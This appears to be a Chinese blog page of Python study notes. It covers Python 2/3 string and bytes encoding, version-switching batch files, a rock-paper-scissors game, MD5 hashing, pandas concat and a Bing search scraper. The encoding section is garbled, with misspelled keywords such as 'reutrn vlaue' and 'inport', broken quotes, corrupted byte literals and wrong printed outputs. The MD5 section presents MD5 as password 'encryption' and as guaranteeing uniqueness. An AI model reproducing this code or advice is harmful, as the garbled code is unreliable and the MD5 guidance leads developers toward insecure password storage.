class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line">Python2有两种表示字符序列的类型，分别叫做str和Unicode，str实例包含原始的<span class="number">8</span>位值；而Unicode的实例，则包含Unicode字符。</span><br><span class="line"></span><br><span class="line">str格式本质含义是“某种编码格式”，绝大多数情况下，被引号框起来的字符串，就是str，这时的字符串编码类型，其实就是你Python文件的编码类型，比如在Windows里，默认用的是GBK编码。</span><br><span class="line">Unicode格式的含义就是“用unicode编码的字符串”。Python在进入<span class="number">2.0</span>版后正式定义了了Unicode字符串这个奇怪的特性，目的就是为了处理太多种语言编码的文本。从那时开始，Python语言中的字符串类型就分为两种：一种是传统的Python字符串（各种花样编码），另一种则是新出现的Unicode</span><br><span class="line">Python3也有两种表示字符序列的类型：bytes和str。前者的实例包含原始的<span class="number">8</span>位值，后者的实例包含Unicode字符,可以说python3的str，就是python2的Unicode</span><br><span class="line"></span><br><span class="line">str格式的定义变更为”Unicode类型的字符串“，也就是说在默认情况下，被引号框起来的字符串，是使用Unicode编码的。</span><br><span class="line">而“不是Unicode的某种编码格式”，比如UTF<span class="number">-8</span>、GBK，这些编码方式被定义为了bytes，这里的bytes和py2中的str有很多相似的地方</span><br><span class="line">我们需要编写两个辅助（helper）函数，以便在这两种情况之间转换，使得转换后的输入数据能够符合开发者的预期</span><br><span class="line"></span><br><span class="line">#在Python3中，我们需要编写接受str或bytes，并总是返回str的方法：</span><br><span class="line">def to_str(bytes_or_str):</span><br><span class="line">  <span class="keyword">if</span> isinstance(bytes_or_str, bytes):</span><br><span class="line">    value = bytes_or_str.decode(<span class="string">'utf-8'</span>)</span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    value = bytes_or_str</span><br><span class="line">  return value # Instance of str</span><br><span class="line">  </span><br><span class="line">#另外，还需要编写接受str或bytes，并总是返回bytes的方法：</span><br><span class="line">def to_bytes(bytes_or_str):</span><br><span class="line">  <span class="keyword">if</span> isinstance(bytes_or_str, str):</span><br><span class="line">    value = bytes_or_str.encode(<span class="string">'utf-8)</span></span><br><span class="line"><span class="string">  else:</span></span><br><span class="line"><span class="string">    value = bytes_or_str</span></span><br><span class="line"><span class="string">  return value # Instance of bytes</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">#在Python2中，需要编写接受str或unicode，并总是返回unicode的方法：</span></span><br><span class="line"><span class="string">#python2</span></span><br><span class="line"><span class="string">def to_unicode(unicode_or_str):</span></span><br><span class="line"><span class="string">  if isinstance(unicode_or_str, str):</span></span><br><span class="line"><span class="string">    value = unicode_or_str.decode('</span>utf<span class="number">-8</span><span class="string">')</span></span><br><span class="line"><span class="string">  else:</span></span><br><span class="line"><span class="string">    value = unicode_or_str</span></span><br><span class="line"><span class="string">  return value # Instance of unicode</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">#另外，还需要编写接受str或unicode，并总是返回str的方法：</span></span><br><span class="line"><span class="string">#Python2</span></span><br><span class="line"><span class="string">def to_str(unicode_or_str):</span></span><br><span class="line"><span class="string">  if isinstance(unicode_or_str, unicode):</span></span><br><span class="line"><span class="string">    value = unicode_or_str.encode('</span>utf<span class="number">-8</span><span class="string">')</span></span><br><span class="line"><span class="string">  else:</span></span><br><span class="line"><span class="string">    value = unicode_or_str</span></span><br><span class="line"><span class="string">  reutrn vlaue # Instance of str</span></span><br><span class="line"><span class="string">  https://xin053.github.io/2016/10/30/Python%E5%AD%A6%E4%B9%A0%E9%87%8D%E7%82%B9%E6%91%98%E8%AE%B0/</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">   str包含一个encode方法，使用特定编码将该字符串其转换为一个bytes，这称之为编码</span></span><br><span class="line"><span class="string">  。bytes类包含了一个decode方法，也接受一个编码作为单个必要参数，并返回一个str，</span></span><br><span class="line"><span class="string">  这称之为解码。</span></span><br><span class="line"><span class="string"> </span></span><br><span class="line"><span class="string">  s='</span>n排球①’</span><br><span class="line">  b1=s.encode（<span class="string">'utf-8'</span>）</span><br><span class="line">  b2=s.encode（）</span><br><span class="line">  print（b1）</span><br><span class="line">  print（b2）</span><br><span class="line">  b\xcf\x80\xe6\x8e\x92\xe7\x9e\x83\xe3\×<span class="number">8</span>l\xae<span class="string">'</span></span><br><span class="line"><span class="string">  b'</span>\xcf\×<span class="number">80</span>\xe6\x8e\x92\xe7\x9e\x83\xe3\x8l\xae<span class="string">'</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">  inport sys </span></span><br><span class="line"><span class="string">  print（sys.platform）</span></span><br><span class="line"><span class="string">  print（sys.getdefaultencoding（））</span></span><br><span class="line"><span class="string">  win32utf-8</span></span><br><span class="line"><span class="string">  可以看出我这个平台默认选择的就是utf-8编码方式。</span></span><br><span class="line"><span class="string">  b=b'</span>\xe6lx8e\x92\xe7\x9e\x83<span class="string">'</span></span><br><span class="line"><span class="string">  s1=b.decode（encoding='</span>utf<span class="number">-8</span><span class="string">"）</span></span><br><span class="line"><span class="string">  s2=b.decode（）</span></span><br><span class="line"><span class="string">  s3=b.decode（encoding='latin-1'）</span></span><br><span class="line"><span class="string">  print（s1）</span></span><br><span class="line"><span class="string">  print（s2）</span></span><br><span class="line"><span class="string">  print（s3）</span></span><br><span class="line"><span class="string">  排球</span></span><br><span class="line"><span class="string">  排球</span></span><br><span class="line"><span class="string">  e2'cf</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">  &gt;&gt;&gt; '请'.encode('unicode-escape')</span></span><br><span class="line"><span class="string">  b'\\u8bf7'</span></span><br><span class="line"><span class="string">  &gt;&gt;&gt; b'\u8bf7'.decode('unicode-escape')</span></span><br><span class="line"><span class="string">  '请'</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">  s='apple'</span></span><br><span class="line"><span class="string">  b=b'apple'</span></span><br><span class="line"><span class="string">  print（b）</span></span><br><span class="line"><span class="string">  print（type（b））</span></span><br><span class="line"><span class="string">  print（s）</span></span><br><span class="line"><span class="string">  print（type（s））</span></span><br><span class="line"><span class="string">  b'apple'</span></span><br><span class="line"><span class="string">  &lt;class'bytes'&gt;</span></span><br><span class="line"><span class="string">  apple</span></span><br><span class="line"><span class="string">  &lt;class'str'&gt;</span></span><br><span class="line"><span class="string">  再近距离的看看bytes类型字节字符串，本质上它就是一串单字节16进制数b=b'apple' https://www.zhihu.com/question/35584979</span></span><br><span class="line"><span class="string">  print（b[0]）</span></span><br><span class="line"><span class="string">  print（b[1：]）</span></span><br><span class="line"><span class="string">  print（1ist（b））</span></span><br><span class="line"><span class="string">  97</span></span><br><span class="line"><span class="string">  b'pple'</span></span><br><span class="line"><span class="string">  [97，112，112，188，101]</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">  s=' AABec'</span></span><br><span class="line"><span class="string">  with open(' utf-8data','w', encoding=' utf-8"</span>) <span class="keyword">as</span> f: <span class="string">' +</span></span><br><span class="line"><span class="string">   '</span>f. urite(s)</span><br><span class="line">  <span class="keyword">with</span> open(<span class="string">' utf-8data'</span>,<span class="string">'r'</span>, encoding=<span class="string">' utf-8'</span>) <span class="keyword">as</span> f: </span><br><span class="line">  u_str=f. read()</span><br><span class="line">  print(u_str)</span><br><span class="line">  AABeC</span><br><span class="line">  <span class="keyword">with</span> open(<span class="string">' utf-8data",'</span> rb<span class="string">') as f: byte_str=f. read()</span></span><br><span class="line"><span class="string">  print(byte_str)</span></span><br><span class="line"><span class="string">  print(byte_str. decode(encoding='</span> utf<span class="number">-8</span>))</span><br><span class="line">  b<span class="string">'A\ XC3\X84B\ xC3\ xa8c'</span></span><br><span class="line">  AABeC</span><br></pre></td></tr></table></figure>
<h3 id="Win10-下-Python2-与-Python3-兼容问题"><a href="#Win10-下-Python2-与-Python3-兼容问题" class="headerlink" title="Win10 下 Python2 与 Python3 兼容问题"></a>Win10 下 Python2 与 Python3 兼容问题</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">新旧<span class="number">2</span>个文件，加入环境变量</span><br><span class="line">python2.bat</span><br><span class="line"></span><br><span class="line">@echo off</span><br><span class="line"></span><br><span class="line">rename <span class="string">"C:\Program Files\Python37\python.exe"</span> python.exe.disabled</span><br><span class="line">rename <span class="string">"C:\Program Files\Python37\Scripts\pip.exe"</span> pip.exe.disabled</span><br><span class="line">python3.bat</span><br><span class="line"></span><br><span class="line">@echo off</span><br><span class="line"></span><br><span class="line">rename <span class="string">"C:\Program Files\Python37\python.exe.disabled"</span> python.exe</span><br><span class="line">rename <span class="string">"C:\Program Files\Python37\Scripts\pip.exe.disabled"</span> pip.exe</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/articles/31141</span></span><br></pre></td></tr></table></figure>
<h3 id="剪刀、石头、布"><a href="#剪刀、石头、布" class="headerlink" title="剪刀、石头、布"></a>剪刀、石头、布</h3><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">#剪刀、石头、布</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line">guess_list = [<span class="string">"石头"</span>, <span class="string">"剪刀"</span>, <span class="string">"布"</span>]</span><br><span class="line">win_combination = [[<span class="string">"布"</span>, <span class="string">"石头"</span>], [<span class="string">"石头"</span>, <span class="string">"剪刀"</span>], [<span class="string">"剪刀"</span>, <span class="string">"布"</span>]]</span><br><span class="line"><span class="keyword">while</span> True:</span><br><span class="line">    people = input(<span class="string">'请输入：石头,剪刀,布\n'</span>).strip()</span><br><span class="line">    computer = random.choice(guess_list)</span><br><span class="line">    print(<span class="string">'电脑出拳：'</span>+computer)</span><br><span class="line">    <span class="keyword">if</span> people not <span class="keyword">in</span> guess_list:</span><br><span class="line">        print(<span class="string">'咦~~弄啥类你！~~~'</span>)</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">if</span> computer == people:</span><br><span class="line">        print (<span class="string">'平手，再玩一次！'</span>)</span><br><span class="line">    elif [computer, people] <span class="keyword">in</span> win_combination:</span><br><span class="line">        print (<span class="string">'电脑获胜！继续吧~~~'</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print (<span class="string">'你获胜！'</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    print(<span class="string">'---------------------------------'</span>)</span><br><span class="line"></span><br><span class="line">print(<span class="string">'Press any key to exit'</span>);</span><br><span class="line">input();                                        #防止控制台输出秒退</span><br></pre></td></tr></table></figure>
<h3 id="md5和sha1加密"><a href="#md5和sha1加密" class="headerlink" title="md5和sha1加密"></a>md5和sha1加密</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"> </span><br><span class="line">data =  <span class="string">'This a md5 test!'</span></span><br><span class="line">hash_md5 = hashlib.md5(data)</span><br><span class="line"></span><br><span class="line">hash_md5.hexdigest()</span><br><span class="line">MD5不仅仅是上面这个例子这样用来处理字符串，还有更广泛的用途：</span><br><span class="line">加密网站注册用户的密码。 （但去年的各大网站密码泄漏事件确实让人蛋疼……）</span><br><span class="line">网站用户上传图片 / 文件后，计算出MD5值作为文件名。（MD5可以保证唯一性）</span><br><span class="line">key-value数据库中使用MD5值作为key。</span><br><span class="line">比较两个文件是否相同。（大家在下载一些资源的时候，就会发现网站提供了MD5值，就是用来检测文件是否被篡改）</span><br><span class="line">用MD5来检测两个文件是否相同，但想想，如果是两个很大的文件，担心内存不够用，这时怎么办？</span><br><span class="line">这就要使用 update 方法了。代码如下：</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">def get_file_md5(f):</span><br><span class="line">    m = hashlib.md5()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> True:</span><br><span class="line">        data = f.read(<span class="number">10240</span>)</span><br><span class="line">        <span class="keyword">if</span> not data:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">        m.update(data)</span><br><span class="line">    <span class="keyword">return</span> m.hexdigest()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(YOUR_FILE, <span class="string">'r'</span>) <span class="keyword">as</span> f:</span><br><span class="line">    file_md5 = get_file_md5(f)</span><br><span class="line">(windows 用户 要使用 <span class="string">'rb'</span>方式打开文件)</span><br><span class="line">大家可以用下面这段代码验证一下：</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">x = hashlib.md5()</span><br><span class="line">x.update(<span class="string">'hello, '</span>)</span><br><span class="line">x.update(<span class="string">'python'</span>)</span><br><span class="line">x.hexdigest()</span><br><span class="line"></span><br><span class="line">hashlib.md5(<span class="string">'hello, python'</span>).hexdigest()</span><br><span class="line">这两次的输出是一样的。</span><br><span class="line">SHA1 也是一样的用法。https:<span class="comment">//p0sec.net/index.php/archives/33/</span></span><br></pre></td></tr></table></figure>
<h3 id="concat-组合-dataframe"><a href="#concat-组合-dataframe" class="headerlink" title="concat 组合 dataframe"></a>concat 组合 dataframe</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line">india_weather = pd.DataFrame(&#123;</span><br><span class="line">    <span class="string">'city'</span>: [<span class="string">'mumbai'</span>, <span class="string">'delhi'</span>, <span class="string">'banglore'</span>],</span><br><span class="line">    <span class="string">'temperature'</span>: [<span class="number">32</span>, <span class="number">34</span>, <span class="number">30</span>],</span><br><span class="line">    <span class="string">'humidity'</span>: [<span class="number">80</span>, <span class="number">60</span>, <span class="number">72</span>]</span><br><span class="line">&#125;)</span><br><span class="line">us_weather = pd.DataFrame(&#123;</span><br><span class="line">    <span class="string">'city'</span>: [<span class="string">'newyork'</span>, <span class="string">'chicago'</span>, <span class="string">'orlando'</span>],</span><br><span class="line">    <span class="string">'temperature'</span>: [<span class="number">21</span>, <span class="number">24</span>, <span class="number">32</span>],</span><br><span class="line">    <span class="string">'humidity'</span>: [<span class="number">68</span>, <span class="number">65</span>, <span class="number">70</span>]</span><br><span class="line">&#125;)</span><br><span class="line">df = pd.concat([india_weather, us_weather])</span><br><span class="line">df = pd.concat([india_weather, us_weather], ignore_index=True)</span><br><span class="line"></span><br><span class="line">df = pd.concat([india_weather, us_weather], keys=[<span class="string">'india'</span>, <span class="string">'us'</span>])</span><br><span class="line"></span><br><span class="line">df.loc[<span class="string">'india'</span>]</span><br><span class="line">df = pd.concat([temperature_df, windspeed_df], axis=<span class="number">1</span>)</span><br><span class="line">https:<span class="comment">//learnku.com/articles/26025</span></span><br></pre></td></tr></table></figure>
<h3 id="数学问题"><a href="#数学问题" class="headerlink" title="数学问题"></a>数学问题</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">数学问题：假如一个星球有 <span class="number">100</span> 人，每年人数翻一倍。那么，多少年之后人数才有 <span class="number">100</span> 万人</span><br><span class="line">&gt;&gt;&gt; p=<span class="number">100</span></span><br><span class="line">&gt;&gt;&gt; y=<span class="number">0</span></span><br><span class="line">&gt;&gt;&gt; <span class="keyword">while</span> p&lt;<span class="number">1000000</span>:</span><br><span class="line">...       p*=<span class="number">2</span></span><br><span class="line">...       y+=<span class="number">1</span></span><br><span class="line">...</span><br><span class="line">&gt;&gt;&gt; y</span><br><span class="line"><span class="number">14</span></span><br></pre></td></tr></table></figure>
<h3 id="Python语法速查"><a href="#Python语法速查" class="headerlink" title="Python语法速查"></a>Python语法速查</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//www.ikeguang.com/2019/03/17/python-sytnax/</span></span><br><span class="line">a = [<span class="number">1</span>, <span class="number">2</span>]</span><br><span class="line">b = a</span><br><span class="line">print(id(a) - id(b))  # 地址差为 0，表示实质是同址的</span><br><span class="line"><span class="number">0</span></span><br><span class="line">b.append(<span class="number">3</span>)</span><br><span class="line">print(a)  # 只改动了 b，但 a 也跟着变动了</span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]</span><br><span class="line">a is b</span><br><span class="line">True</span><br><span class="line">使用切片来重新分配空间：</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line">a is a[:]</span><br><span class="line">False</span><br><span class="line">运算两数中只要有一个浮点数，结果就是浮点数；</span><br><span class="line">整数相除，即使能除尽，结果也是浮点数；</span><br><span class="line">Python 内部的机制解决了整数溢出的问题，不用担心。</span><br><span class="line">序列主要包括字符串（str）、列表（list）与元祖（tuple）三类。</span><br><span class="line">&gt;&gt;&gt; <span class="string">'ab'</span>.index(<span class="string">'b'</span>)</span><br><span class="line"><span class="number">1</span></span><br><span class="line">&gt;&gt;&gt; <span class="string">'b'</span> <span class="keyword">in</span> <span class="string">'ab'</span></span><br><span class="line">True</span><br><span class="line">&gt;&gt;&gt; max([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>])</span><br><span class="line"><span class="number">3</span></span><br><span class="line">s = " I love Python"  # 首位是空格</span><br><span class="line">lst = s.split(<span class="string">' '</span>)</span><br><span class="line">lst1 = <span class="string">'-'</span>.join(lst)</span><br><span class="line">strip() 去掉字符串首尾两端的空格。方法 lstrip()/rstrip() 则只切除首端/尾端的空格。</span><br><span class="line"><span class="string">'I like &#123;&#125; and &#123;&#125;'</span>.format(<span class="string">'Python'</span>, <span class="string">'you'</span>)</span><br><span class="line"><span class="string">'I like Python and you'</span></span><br><span class="line">'&#123;0&#125; + &#123;2&#125; = &#123;1&#125;'.format (10, 20, 'Python ')  # 按顺序引用</span><br><span class="line"><span class="string">'10 + Python  = 20'</span></span><br><span class="line">'&#123;0&#125; * &#123;1&#125; = &#123;0&#125;'.format (10, 'Python ')  # 编号反复引用</span><br><span class="line"><span class="string">'10 * Python  = 10'</span></span><br></pre></td></tr></table></figure>
<h3 id="bing搜索"><a href="#bing搜索" class="headerlink" title="bing搜索"></a>bing搜索</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests, re, time, webbrowser, codecs</span><br><span class="line">print(<span class="string">'==========搜索引擎=========='</span>)</span><br><span class="line">time.sleep(<span class="number">0.7</span>)</span><br><span class="line">headers = &#123;<span class="string">'Accept'</span>:<span class="string">'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'</span>, </span><br><span class="line"> <span class="string">'Accept-Encoding'</span>:<span class="string">'gzip, deflate, sdch'</span>, </span><br><span class="line"> <span class="string">'Accept-Language'</span>:<span class="string">'zh-CN,zh;q=0.8'</span>, </span><br><span class="line"> <span class="string">'Cache-Control'</span>:<span class="string">'max-age=0'</span>, </span><br><span class="line"> <span class="string">'Connection'</span>:<span class="string">'keep-alive'</span>, </span><br><span class="line"> <span class="string">'Cookie'</span>:<span class="string">'SRCHD=AF=NOFORM; SRCHUID=V=2&amp;GUID=E4CB65F3BD7F4EC7922E3642567A39EC&amp;dmnchg=1; _EDGE_V=1; MUID=24CC781F18B266D70F9C758D199C670F; MUIDB=24CC781F18B266D70F9C758D199C670F; SRCHUSR=DOB=20190707&amp;T=1562487393000; SNRHOP=I=&amp;TS=; _EDGE_S=mkt=zh-cn&amp;SID=2C85ED242A1D66051D4FE0B62B33673B; _SS=SID=2C85ED242A1D66051D4FE0B62B33673B&amp;HV=1562490664; SRCHHPGUSR=CW=1089&amp;CH=1742&amp;DPR=1&amp;UTC=480&amp;WTS=63698084193&amp;PR=3'</span>, </span><br><span class="line"> <span class="string">'DNT'</span>:<span class="string">'1'</span>, </span><br><span class="line"> <span class="string">'Host'</span>:<span class="string">'cn.bing.com'</span>, </span><br><span class="line"> <span class="string">'Upgrade-Insecure-Requests'</span>:<span class="string">'1'</span>, </span><br><span class="line"> <span class="string">'User-Agent'</span>:<span class="string">'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1'</span>&#125;</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">while</span> True:</span><br><span class="line">            web_ids = &#123;&#125;</span><br><span class="line">            test = []</span><br><span class="line">            search = input(<span class="string">'输入搜索的内容：'</span>)</span><br><span class="line">            page = [<span class="number">11</span>, <span class="number">21</span>, <span class="number">31</span>, <span class="number">41</span>, <span class="number">51</span>]</span><br><span class="line"></span><br><span class="line">            def <span class="keyword">catch</span>():</span><br><span class="line">                global webs</span><br><span class="line">                id_times = <span class="number">0</span></span><br><span class="line">                <span class="keyword">for</span> t <span class="keyword">in</span> page:</span><br><span class="line">                    url = <span class="string">'https://cn.bing.com/search?q='</span> + search + <span class="string">'&amp;qs=n&amp;sp=-1&amp;pq&amp;sc=0-5&amp;sk=&amp;cvid=275512403280414F9363B7CDC7368CBD&amp;first='</span> + str(t) + <span class="string">'&amp;FORM=PERE'</span></span><br><span class="line">                    text = requests.get(url, headers=headers).text</span><br><span class="line">                    a1 = <span class="string">'&lt;h2&gt;(.*?)&lt;/h2&gt;'</span></span><br><span class="line">                    a2 = <span class="string">'href="(.*?)"'</span></span><br><span class="line">                    a3 = <span class="string">'&gt;(.*?)&lt;/a&gt;'</span></span><br><span class="line">                    title = re.findall(a1, text)</span><br><span class="line">                    <span class="keyword">for</span> j <span class="keyword">in</span> title:</span><br><span class="line">                        id_times = id_times + <span class="number">1</span></span><br><span class="line">                        title = re.findall(a3, j)</span><br><span class="line">                        webs = re.findall(a2, j)</span><br><span class="line">                        web_ids[id_times] = webs</span><br><span class="line">                        print(id_times, title[<span class="number">0</span>])</span><br><span class="line">                        print(<span class="string">'网址：%s'</span> % webs[<span class="number">0</span>])</span><br><span class="line">                        print()</span><br><span class="line">                        <span class="keyword">if</span> len(webs) &gt; <span class="number">0</span>:</span><br><span class="line">                            test.append(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> len(test) &gt; <span class="number">0</span>:</span><br><span class="line">                    print(<span class="string">'打开网址（如需打开多个网址，请用英文符号“,”，使用其它键默认不打开任何网址）'</span>)</span><br><span class="line">                    open_web = input(<span class="string">'网址编号：'</span>).split(<span class="string">','</span>)</span><br><span class="line">                    <span class="keyword">if</span> <span class="string">'n'</span> not <span class="keyword">in</span> open_web:</span><br><span class="line">                        <span class="keyword">for</span> aweb <span class="keyword">in</span> open_web:</span><br><span class="line">                            <span class="keyword">if</span> aweb.isdigit():</span><br><span class="line">                                ty = int(aweb)</span><br><span class="line">                                <span class="keyword">if</span> ty <span class="keyword">in</span> web_ids:</span><br><span class="line">                                    web = web_ids[ty]</span><br><span class="line">                                    webbrowser.open(web[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        print(<span class="string">'没有符合您的搜索结果！'</span>)</span><br><span class="line">                    print(<span class="string">'=============================='</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">catch</span>()</span><br><span class="line"></span><br><span class="line">    except KeyboardInterrupt:</span><br><span class="line">        exit()</span><br><span class="line"></span><br><span class="line">except requests.exceptions.ConnectionError:</span><br><span class="line">    print(<span class="string">'抱歉，网络出现了一点问题！'</span>)<span class="comment">//https://learnku.com/articles/32422</span></span><br><span class="line">    time.sleep(<span class="number">3</span>)</span><br><span class="line">    exit()</span><br></pre></td></tr></table></figure>
